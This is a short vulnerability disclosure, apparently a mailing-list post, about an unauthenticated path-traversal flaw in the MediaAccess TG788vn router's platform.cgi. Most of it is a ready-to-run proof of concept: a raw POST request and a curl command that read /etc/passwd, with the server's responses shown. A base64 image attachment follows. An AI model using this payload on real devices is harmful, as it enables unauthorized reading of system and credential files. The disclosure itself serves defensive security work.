MediaAccess , unauthenticated file disclosure

--089e0122eab0ffd8a105289eb6f1
Content-Type: text/plain; charset=UTF-8

Vulnerable hardware : MediaAccess TG788vn with Cisco http firewall
Author : Ahmed Sultan (0x4148)
Email : [email protected]

MediaAccess TG788vn with Cisco firewall http config is vulnerable to
critical unauthenticated file disclosure flaw,

POC

Request:
POST /scgi-bin/platform.cgi HTTP/1.1
Host: xx.xx.xx.xx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://xx.xx.xx.xx/scgi-bin/platform.cgi
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 164

button.login.home=Se%20connecter&Login.userAgent=0x4148_Fu&reload=0&SSLVPNUser.Password=0x4148Fu&SSLVPNUser.UserName=0x4148&thispage=../../../../../../etc/passwd%00

Response:
HTTP/1.0 200 OK
Date: Sat, 01 Jan 2011 00:00:45 GMT
Server: Embedded HTTP Server.
Connection: close

loic_ipsec:x:500:500:xauth:/:/bin/cli

The juicy contents are found in the headers

POC
root@0x4148:~# curl "https://xx.xx.xx.xx/scgi-bin/platform.cgi" --data
"button.login.home=Se%20connecter&Login.userAgent=0x4148Fu&reload=0&SSLVPNUser.Password=0x4148Fu&SSLVPNUser.UserName=0x4148&thispage=../../../../../../../../../../etc/passwd%00.htm"
--insecure -i
HTTP/1.0 200 OK
Date: Sat, 01 Jan 2011 00:00:45 GMT
Server: Embedded HTTP Server.
Connection: close
root:ROOT_PASSWORD:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/nonexistent:/bin/false

loic_ipsec:x:500:500:xauth:/:/bin/cli

--089e0122eab0ffd8a105289eb6f1
Content-Type: image/png; name="3.png"
Content-Disposition: attachment; filename="3.png"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_ij2176ha0

iVBORw0KGgoAAAANSUhEUgAABh8AAADICAIAAAB3Qme6AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAA
B3RJTUUH4AEFFyAlF8ctsAAAAAd0RVh0QXV0aG9yAKmuzEgAAAAMdEVYdERlc2NyaXB0aW9uABMJ
ISMAAAAKdEVYdENvcHlyaWdodACsD8w6AAAADnRFWHRDcmVhdGlvbiB0aW1lADX3DwkAAAAJdEVY
dFNvZnR3YXJlAF1w/zoAAAALdEVYdERpc2NsYWltZXIAt8C0jwAAAAh0RVh0V2FybmluZwDAG+aH
AAAAB3RFWHRTb3VyY2UA9f+D6wAAAAh0RVh0Q29tbWVudAD2zJa/AAAABnRFWHRUaXRsZQCo7tIn
AAABAElEQVR4nO3dTYvkxt0AcHX3tGdfsJ3P4E+yl4bAJhgCe8rFh0AIBEJYcvbiy24MDiSQY8Bg
jImX3BySjC578Nfw10gI8U4/Bz0WGpWqVHrrt/n9MEZdXfpXqVSt2a75S1MUAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAEDa6sDt7Z89+/+GX78+cNNLK8tyt9s1N5guNphh+ZMnT548eXKgbp25N2/evHnz
pllyqZP2Uo8LAADgpFwdsrH9s2f1olJzu2isOhVDFp6qvcL6reCJ+uPaPSllWRZFkfkVuq7c3GtQ
hJP15MmTjz/++Ni9OBut1aVF5Szx5EzCRZeKZvwUVKHmiraccBqtngAAAQBJREFUcDw7rw8LNb1o
/FhzBzvA2c07P6fEOeLQNT9ZmVeV2C8n6jid5eFb98fsl6+zWOI/qQvCuHkYO4T0p6D5Vme7zcKh
XZpu3vOSGW3o+MeuS53lnZ+vVmFrx2ZbnUE667e2e49ios5+nriF5kM6+Ol8Hs3bRB9mDx6+XNop
zNv5NVdtOgtj27F9Y9HCfav/cuqPa7dTPZrLDmtf6zk1q8r1RjrC0PJ55bdeluV33323J8+LFy9W
Df/85z+XP5n9Zp9UQwMO+hzN1ehJiV0fFmprljqZbYXHNSL4aV4PD+/oP+Zy5md9xtNxOrc7dzwd
8/at/MFC8c/Fckc9KPK4edg5247ZjicAAAEASURBVMMzm6ifaHfc3Ei0Psjss31Qhc4LSOznSE55
rA9Dxz8R81if5XO8hkyfD4m9TvnzaN4ept1j/Ww9+ry9k7tUp/aE96/Fcnw6y1vrOJ25RckDbPen
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
2sx31AAAAABJRU5ErkJggg==
--089e0122eab0ffd8a105289eb6f1
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline